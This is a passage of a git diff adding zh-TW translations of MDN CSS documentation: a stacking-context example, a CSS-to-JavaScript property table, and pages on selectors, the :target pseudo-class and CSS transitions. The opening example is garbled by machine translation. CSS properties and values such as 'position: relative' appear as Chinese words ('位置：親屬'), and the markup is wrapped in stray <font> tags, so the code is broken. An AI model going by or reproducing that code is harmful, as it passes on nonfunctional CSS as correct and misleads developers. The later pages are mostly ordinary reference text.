+<font><font>
+DIV {字體：12px的宋體; </font><font>}</font></font>
+<font><font>
+span.bold {字體重量：大膽的; </font><font>}</font></font>
+<font><font>
+＃DIV1，＃{DIV3</font></font><font><font>
+   高度：80px;</font></font><font><font>
+   位置：親屬;</font></font><font><font>
+   邊界：1px的虛線＃669966;</font></font><font><font>
+   背景色：#ccffcc;</font></font><font><font>
+   填充左：5px的;</font></font><font><font>
+}</font></font>
+<font><font>
+＃{DIV2</font></font><font><font>
+   不透明度：0.8;</font></font><font><font>
+   的z-index：1;</font></font><font><font>
+   位置：絕對的;</font></font><font><font>
+   寬度：150像素;</font></font><font><font>
+   高度：200像素;</font></font><font><font>
+   頂：20像素;</font></font><font><font>
+   左：170px;</font></font><font><font>
+   邊界：1px的虛線＃990000;</font></font><font><font>
+   背景色：#ffdddd;</font></font><font><font>
+   文本對齊：中心;</font></font><font><font>
+}</font></font>
+<font><font>
+＃{DIV4</font></font><font><font>
+   不透明度：0.8;</font></font><font><font>
+   的z-index：2;</font></font><font><font>
+   位置：絕對的;</font></font><font><font>
+   寬度：200像素;</font></font><font><font>
+   高度：70px;</font></font><font><font>
+   頂部：65px;</font></font><font><font>
+   左：50像素;</font></font><font><font>
+   邊界：1px的虛線＃000099;</font></font><font><font>
+   背景色：#ddddff;</font></font><font><font>
+   文本對齊：左;</font></font><font><font>
+   填充左：10px的;</font></font><font><font>
+}</font></font>
+
+<font><font>
+&lt;/風格&gt; &lt;/ HEAD&gt;</font></font>
+<font><font>
+&lt;BODY&gt;</font></font>
+<font><font>
+&lt;br /&gt;</font></font>
+<font><font>
+&lt;DIV ID =“DIV1”&gt;</font></font><font><font>
+&lt;br /&gt;的&lt;span class =“黑體”&gt; DIV＃1 &lt;/ SPAN&gt;</font></font><font><font>
+&lt;br /&gt;位置：親屬;</font></font><font><font>
+   &lt;DIV ID =“DIV2”&gt;</font></font><font><font>
+   &lt;br /&gt;的&lt;span class =“黑體”&gt; DIV＃2 &lt;/ SPAN&gt;</font></font><font><font>
+   &lt;br /&gt;位置：絕對的;</font></font><font><font>
+   &lt;br /&gt;的z-index：1;</font></font><font><font>
+   &lt;/ DIV&gt;</font></font><font><font>
+&lt;/ DIV&gt;</font></font>
+<font><font>
+&lt;br /&gt;</font></font>
+<font><font>
+&lt;DIV ID =“DIV3”&gt;</font></font><font><font>
+&lt;br /&gt;的&lt;span class =“黑體”&gt; DIV＃3 &lt;/ SPAN&gt;</font></font><font><font>
+&lt;br /&gt;位置：親屬;</font></font><font><font>
+   &lt;DIV ID =“DIV4”&gt;</font></font><font><font>
+   &lt;br /&gt;的&lt;span class =“黑體”&gt; DIV＃4 &lt;/ SPAN&gt;</font></font><font><font>
+   &lt;br /&gt;位置：絕對的;</font></font><font><font>
+   &lt;br /&gt;的z-index：2;</font></font><font><font>
+   &lt;/ DIV&gt;</font></font><font><font>
+&lt;/ DIV&gt;</font></font>
+<font><font>
+&lt;/ BODY&gt; &lt;/ HTML&gt;</font></font>
+</pre>
+
+<h3 id="另請參見"><font><font>另請參見</font></font></h3>
+
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="EN / CSS / Understanding_z指數/ Stacking_without_z指數"><font><font>無堆疊的z-index</font></font></a><font><font>  ：默認規則疊加</font></font></li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="EN / CSS / Understanding_z指數/ Stacking_and_float"><font><font>堆疊和浮動</font></font></a><font><font>  ：如何浮動元素的處理方式</font></font></li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="EN / CSS / Understanding_z指數/ Adding_z指數"><font><font>添加的z-index</font></font></a><font><font>  ：使用的z-index來改變默認的堆疊</font></font></li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="EN / CSS / Understanding_z指數/ The_stacking_context"><font><font>堆疊背景</font></font></a><font><font>  ：在堆疊環境票據</font></font></li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="EN / CSS / Understanding_z指數/ Stacking_context_example_2"><font><font>堆疊環境例子2</font></font></a><font><font>  ：在所有層面上2級HTML層次，Z指數</font></font></li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="EN / CSS / Understanding_z指數/ Stacking_context_example_3"><font><font>堆疊上下文例3</font></font></a><font><font>  ：3級的HTML等級，在第二級上的z索引</font></font><span id="cke_bm_89E" style="display: none;"> </span></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information"><font><font>原始文檔信息</font></font></h3>
+
+<ul>
+ <li><font><font>作者（S）：保羅·隆巴迪</font></font></li>
+ <li><font><font>這篇文章是我寫的文章在意大利的英譯</font></font><a class="external" href="http://www.yappy.it"><font><font>YappY</font></font></a><font><font>。</font><font>我同意共享下的所有內容正確</font></font><a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/"><font><font>知識共享：署名-相同方式共享許可</font></font></a></li>
+ <li><font><font>最後更新日期：2005年7月9日</font></font></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/css_properties_reference/index.html b/files/zh-tw/web/css/css_properties_reference/index.html
new file mode 100644
index 0000000000..74d192427e
--- /dev/null
+++ b/files/zh-tw/web/css/css_properties_reference/index.html
@@ -0,0 +1,317 @@
+---
+title: CSS 屬性參考
+slug: Web/CSS/CSS_Properties_Reference
+translation_of: Web/CSS/CSS_Properties_Reference
+---
+<h2 id="常見_CSS_屬性參考">常見 CSS 屬性參考</h2>
+
+<p>下列為最為常見的 CSS 屬性基本清單及其對應的 文件物件模型(DOM)屬性——通常由 JavaScript 進行存取：</p>
+
+<div class="note"><strong>備註:</strong>  此清單並不完整， 更多屬性請見  <a href="/zh-TW/docs/Web/CSS/Reference">CSS 參考文件</a> 與  <a href="en-US/docs/Web/CSS/Mozilla_Extensions">Mozilla CSS extensions</a>。 CSS參考文件也包含屬性使用範例。</div>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>CSS</strong></th>
+   <th scope="col"><strong>JavaScript</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>background</td>
+   <td>background</td>
+  </tr>
+  <tr>
+   <td>background-attachment</td>
+   <td>backgroundAttachment</td>
+  </tr>
+  <tr>
+   <td>background-color</td>
+   <td>backgroundColor</td>
+  </tr>
+  <tr>
+   <td>background-image</td>
+   <td>backgroundImage</td>
+  </tr>
+  <tr>
+   <td>background-position</td>
+   <td>backgroundPosition</td>
+  </tr>
+  <tr>
+   <td>background-repeat</td>
+   <td>backgroundRepeat</td>
+  </tr>
+  <tr>
+   <td>border</td>
+   <td>border</td>
+  </tr>
+  <tr>
+   <td>border-bottom</td>
+   <td>borderBottom</td>
+  </tr>
+  <tr>
+   <td>border-bottom-color</td>
+   <td>borderBottomColor</td>
+  </tr>
+  <tr>
+   <td>border-bottom-style</td>
+   <td>borderBottomStyle</td>
+  </tr>
+  <tr>
+   <td>border-bottom-width</td>
+   <td>borderBottomWidth</td>
+  </tr>
+  <tr>
+   <td>border-color</td>
+   <td>borderColor</td>
+  </tr>
+  <tr>
+   <td>border-left</td>
+   <td>borderLeft</td>
+  </tr>
+  <tr>
+   <td>border-left-color</td>
+   <td>borderLeftColor</td>
+  </tr>
+  <tr>
+   <td>border-left-style</td>
+   <td>borderLeftStyle</td>
+  </tr>
+  <tr>
+   <td>border-left-width</td>
+   <td>borderLeftWidth</td>
+  </tr>
+  <tr>
+   <td>border-right</td>
+   <td>borderRight</td>
+  </tr>
+  <tr>
+   <td>border-right-color</td>
+   <td>borderRightColor</td>
+  </tr>
+  <tr>
+   <td>border-right-style</td>
+   <td>borderRightStyle</td>
+  </tr>
+  <tr>
+   <td>border-right-width</td>
+   <td>borderRightWidth</td>
+  </tr>
+  <tr>
+   <td>border-style</td>
+   <td>borderStyle</td>
+  </tr>
+  <tr>
+   <td>border-top</td>
+   <td>borderTop</td>
+  </tr>
+  <tr>
+   <td>border-top-color</td>
+   <td>borderTopColor</td>
+  </tr>
+  <tr>
+   <td>border-top-style</td>
+   <td>borderTopStyle</td>
+  </tr>
+  <tr>
+   <td>border-top-width</td>
+   <td>borderTopWidth</td>
+  </tr>
+  <tr>
+   <td>border-width</td>
+   <td>borderWidth</td>
+  </tr>
+  <tr>
+   <td>clear</td>
+   <td>clear</td>
+  </tr>
+  <tr>
+   <td>clip</td>
+   <td>clip</td>
+  </tr>
+  <tr>
+   <td>color</td>
+   <td>color</td>
+  </tr>
+  <tr>
+   <td>cursor</td>
+   <td>cursor</td>
+  </tr>
+  <tr>
+   <td>display</td>
+   <td>display</td>
+  </tr>
+  <tr>
+   <td>filter</td>
+   <td>filter</td>
+  </tr>
+  <tr>
+   <td>font</td>
+   <td>font</td>
+  </tr>
+  <tr>
+   <td>font-family</td>
+   <td>fontFamily</td>
+  </tr>
+  <tr>
+   <td>font-size</td>
+   <td>fontSize</td>
+  </tr>
+  <tr>
+   <td>font-variant</td>
+   <td>fontVariant</td>
+  </tr>
+  <tr>
+   <td>font-weight</td>
+   <td>fontWeight</td>
+  </tr>
+  <tr>
+   <td>height</td>
+   <td>height</td>
+  </tr>
+  <tr>
+   <td>left</td>
+   <td>left</td>
+  </tr>
+  <tr>
+   <td>letter-spacing</td>
+   <td>letterSpacing</td>
+  </tr>
+  <tr>
+   <td>line-height</td>
+   <td>lineHeight</td>
+  </tr>
+  <tr>
+   <td>list-style</td>
+   <td>listStyle</td>
+  </tr>
+  <tr>
+   <td>list-style-image</td>
+   <td>listStyleImage</td>
+  </tr>
+  <tr>
+   <td>list-style-position</td>
+   <td>listStylePosition</td>
+  </tr>
+  <tr>
+   <td>list-style-type</td>
+   <td>listStyleType</td>
+  </tr>
+  <tr>
+   <td>margin</td>
+   <td>margin</td>
+  </tr>
+  <tr>
+   <td>margin-bottom</td>
+   <td>marginBottom</td>
+  </tr>
+  <tr>
+   <td>margin-left</td>
+   <td>marginLeft</td>
+  </tr>
+  <tr>
+   <td>margin-right</td>
+   <td>marginRight</td>
+  </tr>
+  <tr>
+   <td>margin-top</td>
+   <td>marginTop</td>
+  </tr>
+  <tr>
+   <td>overflow</td>
+   <td>overflow</td>
+  </tr>
+  <tr>
+   <td>padding</td>
+   <td>padding</td>
+  </tr>
+  <tr>
+   <td>padding-bottom</td>
+   <td>paddingBottom</td>
+  </tr>
+  <tr>
+   <td>padding-left</td>
+   <td>paddingLeft</td>
+  </tr>
+  <tr>
+   <td>padding-right</td>
+   <td>paddingRight</td>
+  </tr>
+  <tr>
+   <td>padding-top</td>
+   <td>paddingTop</td>
+  </tr>
+  <tr>
+   <td>page-break-after</td>
+   <td>pageBreakAfter</td>
+  </tr>
+  <tr>
+   <td>page-break-before</td>
+   <td>pageBreakBefore</td>
+  </tr>
+  <tr>
+   <td>position</td>
+   <td>position</td>
+  </tr>
+  <tr>
+   <td>float</td>
+   <td>cssFloat</td>
+  </tr>
+  <tr>
+   <td>text-align</td>
+   <td>textAlign</td>
+  </tr>
+  <tr>
+   <td>text-decoration</td>
+   <td>textDecoration</td>
+  </tr>
+  <tr>
+   <td>text-decoration: blink</td>
+   <td>textDecorationBlink</td>
+  </tr>
+  <tr>
+   <td>text-decoration: line-through</td>
+   <td>textDecorationLineThrough</td>
+  </tr>
+  <tr>
+   <td>text-decoration: none</td>
+   <td>textDecorationNone</td>
+  </tr>
+  <tr>
+   <td>text-decoration: overline</td>
+   <td>textDecorationOverline</td>
+  </tr>
+  <tr>
+   <td>text-decoration: underline</td>
+   <td>textDecorationUnderline</td>
+  </tr>
+  <tr>
+   <td>text-indent</td>
+   <td>textIndent</td>
+  </tr>
+  <tr>
+   <td>text-transform</td>
+   <td>textTransform</td>
+  </tr>
+  <tr>
+   <td>top</td>
+   <td>top</td>
+  </tr>
+  <tr>
+   <td>vertical-align</td>
+   <td>verticalAlign</td>
+  </tr>
+  <tr>
+   <td>visibility</td>
+   <td>visibility</td>
+  </tr>
+  <tr>
+   <td>width</td>
+   <td>width</td>
+  </tr>
+  <tr>
+   <td>z-index</td>
+   <td>zIndex</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/zh-tw/web/css/css_selectors/index.html b/files/zh-tw/web/css/css_selectors/index.html
new file mode 100644
index 0000000000..5f52beea02
--- /dev/null
+++ b/files/zh-tw/web/css/css_selectors/index.html
@@ -0,0 +1,123 @@
+---
+title: CSS Selectors
+slug: Web/CSS/CSS_Selectors
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>選擇器</strong>可以定義某組 CSS 樣式要套用到哪些元素上。</p>
+
+<h2 id="基本選擇器">基本選擇器</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/CSS/Universal_selectors">通用選擇器</a><font><font>（</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors" rel="noopener"><font><font>Universal selector</font></font></a><font><font>）</font></font></dt>
+ <dd>用以選擇所有元素。（可選）可以將其限制為特定的名稱空間或所有名稱空間。<br>
+ <strong>語法:</strong> <code>* ns|* *|*</code><br>
+ <strong>範例:</strong> <code>*</code> 套用文檔中所有元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/Type_selectors">標籤選擇器</a><font><font>（</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors" rel="noopener"><font><font>Type selector</font></font></a><font><font>）</font></font></dt>
+ <dd>用以選擇所有符合指定標籤的元素。<br>
+ <strong>語法:</strong> <code><var>elementname</var></code><br>
+ <strong>範例:</strong> <code>input</code> 可選出任一 <a href="/zh-TW/docs/Web/HTML/Element/input">&lt;input&gt;</a> 元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/Class_selectors">類別選擇器</a><font><font>（</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors" rel="noopener"><font><font>Class selector</font></font></a><font><font>）</font></font></dt>
+ <dd>用以選擇所有符合指定 <code>class</code> 屬性值的元素。<br>
+ <strong>語法:</strong> <code>.<var>classname</var></code><br>
+ <strong>範例:</strong> <code>.index</code> 可選出任一含有 <code>index</code> 的 class 屬性值之元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/ID_selectors">ID選擇器</a><font><font>（</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors" rel="noopener"><font><font>ID selector</font></font></a><font><font>）</font></font></dt>
+ <dd>用以選擇指定 <code>id</code> 屬性值的元素。（一個文件中，每個ID屬性都是唯一的。）<br>
+ <strong>語法:</strong> <code>#<var>idname</var></code><br>
+ <strong>範例:</strong> <code>#toc</code> 會比對含有 ID 是 toc 的元素(可以定義成 <code>id="toc"</code> 或其他類似的定義)。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/Attribute_selectors">屬性選擇器</a><font><font>（</font></font><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors" rel="noopener"><font><font>Attribute selector</font></font></a><font><font>）</font></font></dt>
+ <dd>用以選擇所有符合指定屬性的元素。<br>
+ <strong>語法:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br>
+ <strong>範例:</strong> <code>[autoplay]</code> 將會套用含有 <code>autoplay</code> 屬性的元素。(不論這個屬性的值是什麼)。</dd>
+</dl>
+
+<h2 id="分組選擇器">分組選擇器</h2>
+
+<dl>
+ <dt>選擇器列表（<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Selector_list">Selector list</a>）</dt>
+ <dd><code>,</code> 用以將不同的選擇器組合起來的一種方法。<br>
+ <strong>語法:</strong> <code><var>A</var>, <var>B</var></code><br>
+ <strong>範例:</strong> <code>div, span</code> 將同時選擇 <code><a href="/zh-TW/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> 和 <code><a href="/zh-TW/docs/Web/HTML/Element/span">&lt;span&gt;</a></code> 元素。</dd>
+</dl>
+
+<h2 id="組合選擇器">組合選擇器</h2>
+
+<dl>
+ <dt></dt>
+ <dt><a href="/zh-TW/docs/Web/CSS/Descendant_combinator">後代選擇器</a>（<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator">Descendant combinator</a>）</dt>
+ <dd><code> </code> (空格) 用以選擇某個元素後代的元素。<br>
+ <strong>語法:</strong> <code><var>A</var> <var>B</var></code><br>
+ <strong>範例:</strong> <code>div span</code> 套用所有  <code><a href="/zh-TW/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> 元素內部的所有 <code><a href="/en-US/docs/Web/HTML/Element/span">&lt;span&gt;</a></code> 元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/Child_combinator">子代選擇器</a>（<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Child_combinator">Child combinator</a>）</dt>
+ <dd><code>&gt;</code> 用以選擇某個元素後代的元素。<br>
+ <strong>語法:</strong> <code><var>A</var> &gt; <var>B</var></code>（B元素不可在A元素的其他元素裡）<br>
+ <strong>範例:</strong> <code>ul &gt; li</code> 套用所有 <code><a href="/en-US/docs/Web/HTML/Element/li">&lt;li&gt;</a></code> 元素內部的 <code><a href="/en-US/docs/Web/HTML/Element/ul">&lt;ul&gt;</a></code> 子元素。</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/General_sibling_combinator">一般兄弟選擇器</a>（<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/General_sibling_combinator">General sibling combinator</a>）</dt>
+ <dd><code>~</code> combinator selects siblings. This means that the second element follows the first (though not necessarily immediately), and both share the same parent.<br>
+ <strong>語法:</strong> <code><var>A</var> ~ <var>B</var></code><br>
+ <strong>範例:</strong> <code>p ~ span</code> will match all {{HTMLElement("span")}} elements that follow a {{HTMLElement("p")}}, immediately or not.</dd>
+ <dt><a href="/zh-TW/docs/Web/CSS/Adjacent_sibling_combinator">相鄰兄弟選擇器</a>（<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Adjacent sibling combinator</a>）</dt>
+ <dd><code>+</code> 選擇緊接在後的元素，並共享父元素。<br>
+ <strong>語法:</strong> <code><var>A</var> + <var>B</var></code><br>
+ <strong>範例:</strong> <code>h2 + p</code> 套用所有 緊接在 <code><a href="/zh-TW/docs/Web/HTML/Element/Heading_Elements">&lt;h2&gt;</a></code> 元素後的 <a href="/zh-TW/docs/Web/HTML/Element/p">&lt;p&gt;</a> 元素，並擁有 <code><a href="/zh-TW/docs/Web/HTML/Element/Heading_Elements">&lt;h2&gt;</a></code> 的父元素。</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Column_combinator">Column combinator</a> {{Experimental_Inline}}</dt>
+ <dd>The <code>||</code> combinator selects nodes which belong to a column.<br>
+ <strong>語法:</strong> <code><var>A</var> || <var>B</var></code><br>
+ <strong>範例:</strong> <code>col || td</code> will match all {{HTMLElement("td")}} elements that belong to the scope of the {{HTMLElement("col")}}.</dd>
+</dl>
+
+<h2 id="偽選擇器">偽選擇器</h2>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">Pseudo classes</a></dt>
+ <dd>The <code>:</code> pseudo allow the selection of elements based on state information that is not contained in the document tree.<br>
+ <strong>範例:</strong> <code>a:visited</code> will match all {{HTMLElement("a")}} elements that have been visited by the user.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">Pseudo elements</a></dt>
+ <dd>The <code>::</code> pseudo represent entities that are not included in HTML.<br>
+ <strong>範例:</strong> <code>p::first-line</code> will match the first line of all {{HTMLElement("p")}} elements.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Added the <code>||</code> column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Added the <code>~</code> general sibling combinator and tree-structural pseudo-classes.<br>
+    Made pseudo-elements use a <code>::</code> double-colon prefix. Additional attribute selectors</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Added the <code>&gt;</code> child and <code>+</code> adjacent sibling combinators.<br>
+    Added the <strong>universal</strong> and <strong>attribute</strong> selectors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>See the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes#Specifications">pseudo-class</a> and <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements#Specifications">pseudo-element</a> specification tables for details on those.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Specificity">CSS Specificity</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html b/files/zh-tw/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html
new file mode 100644
index 0000000000..e21ca62c5f
--- /dev/null
+++ b/files/zh-tw/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html
@@ -0,0 +1,62 @@
+---
+title: '使用 :target'
+slug: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+---
+<p><span class="comment">When a URL points at a specific piece of a document, it can be difficult to ascertain. Find out how you can use some simple CSS to draw attention to the target of a URL and improve the user's experience.</span> As an aid to identifying the destination of a link that points to a specific portion of a document, <a class="external" href="http://www.w3.org/TR/css3-selectors/#target-pseudo">CSS3 Selectors</a> introduces the<code> {{ Cssxref(":target") }} </code><a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a>. Netscape 7.1 introduced support for this pseudo-class into the Netscape family, giving authors a new way to assist users keep oriented within large documents.</p>
+
+<h3 id="Picking_a_Target" name="Picking_a_Target">挑選目標</h3>
+
+<p>The pseudo-class<code> {{ Cssxref(":target") }} </code>is used to style the target element of a URI containing a fragment identifier. For example, the URI <code><span class="nowiki">http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example</span></code> contains the fragment identifier <code>#Example</code>. In HTML, identifiers are found as the values of either <code>id</code> or <code>name</code> attributes, since the two share the same namespace. Thus, the example URI would point to the heading "Example" in this document.</p>
+
+<p>Suppose you wish to style any<code> h2 </code>element that is the target of a URI, but do not want any other kind of element to get a target style. This is simple enough:</p>
+
+<pre>h2:target {font-weight: bold;}</pre>
+
+<p>It's also possible to create styles that are specific to a particular fragment of the document. This is done using the same identifying value that is found in the URI. Thus, to add a border to the <code>#Example</code> fragment, we would write:</p>
+
+<pre>#Example:target {border: 1px solid black;}</pre>
+
+<h3 id="Targeting_the_Root_Element" name="Targeting_the_Root_Element">選擇所有元素</h3>
+
+<p>If the intent is to create a "blanket" style that will apply to all targeted elements, then the universal selector comes in handy:</p>
+
+<pre>:target {color: red;}
+</pre>
+
+<h3 id="Example" name="Example">範例</h3>
+
+<p>In the following example, there are five links that point to elements in the same document. Selecting the "First" link, for example, will cause<code> &lt;h1 id="one"&gt; </code>to become the target element. Note that the document may jump to a new scroll position, since target elements are placed on the top of the browser window if possible.</p>
+
+<div id="example">
+<pre>&lt;h4 id="one"&gt;...&lt;/h4&gt; &lt;p id="two"&gt;...&lt;/p&gt;
+&lt;div id="three"&gt;...&lt;/div&gt; &lt;a id="four"&gt;...&lt;/a&gt; &lt;em id="five"&gt;...&lt;/em&gt;
+
+&lt;a href="#one"&gt;First&lt;/a&gt;
+&lt;a href="#two"&gt;Second&lt;/a&gt;
+&lt;a href="#three"&gt;Third&lt;/a&gt;
+&lt;a href="#four"&gt;Fourth&lt;/a&gt;
+&lt;a href="#five"&gt;Fifth&lt;/a&gt;</pre>
+</div>
+
+<h3 id="Conclusion" name="Conclusion">結論</h3>
+
+<p>In cases where a fragment identifier points to a portion of the document, readers may become confused about which part of the document they're supposed to be reading. By styling the target of a URI, reader confusion can be reduced or eliminated.</p>
+
+<h3 id="Related_Links" name="Related_Links">相關連結</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#target-pseudo">CSS3 Selectors #target-pseudo</a></li>
+ <li><a class="internal" href="/En/CSS/:target" title="En/CSS/:target">CSS Reference :target</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">文檔訊息</h3>
+
+<ul>
+ <li>作者群: Eric Meyer, Standards Evangelist, Netscape Communications</li>
+ <li>最後更新日期: Published 30 Jun 2003</li>
+ <li>版權: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>備註: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
diff --git a/files/zh-tw/web/css/css_transitions/index.html b/files/zh-tw/web/css/css_transitions/index.html
new file mode 100644
index 0000000000..30fb2738c2
--- /dev/null
+++ b/files/zh-tw/web/css/css_transitions/index.html
@@ -0,0 +1,110 @@
+---
+title: CSS Transitions
+slug: Web/CSS/CSS_Transitions
+translation_of: Web/CSS/CSS_Transitions
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><strong>CSS Transitions</strong> is a module of CSS that defines how to create smooth transitions between values of given CSS properties. It allows to create them but also to define their evolution, using timing functions.</p>
+
+<h2 id="參考">參考</h2>
+
+<h3 id="屬性">屬性</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("transition")}}</li>
+ <li>{{cssxref("transition-delay")}}</li>
+ <li>{{cssxref("transition-duration")}}</li>
+ <li>{{cssxref("transition-property")}}</li>
+ <li>{{cssxref("transition-timing-function")}}</li>
+</ul>
+</div>
+
+<h2 id="指南">指南</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">Using CSS transitions</a></dt>
+ <dd>Step-by-step tutorial about how to create smooth transitions using CSS. This article describes each relevant CSS property and explains how they interact.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    26.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10.0</td>
+   <td>11.6 {{property_prefix("-o")}}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.0 {{property_prefix("-webkit")}}<br>
+    6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("2.0")}} {{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 {{property_prefix("-o")}}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.2 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Related to CSS Transitions, <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animations</a> can trigger animations independently of value changes.</li>
+</ul>
diff --git a/files/zh-tw/web/css/css_transitions/using_css_transitions/index.html b/files/zh-tw/web/css/css_transitions/using_css_transitions/index.html
new file mode 100644
index 0000000000..ecbdf92487
--- /dev/null
+++ b/files/zh-tw/web/css/css_transitions/using_css_transitions/index.html
@@ -0,0 +1,384 @@
+---
+title: CSS 轉場
+slug: Web/CSS/CSS_Transitions/Using_CSS_transitions
+tags:
+  - CSS animation
+  - CSS transition
+  - CSS 轉場
+  - CSS 過渡
+translation_of: Web/CSS/CSS_Transitions/Using_CSS_transitions
+---
+<h3 id="sect1">   </h3>
+<div>
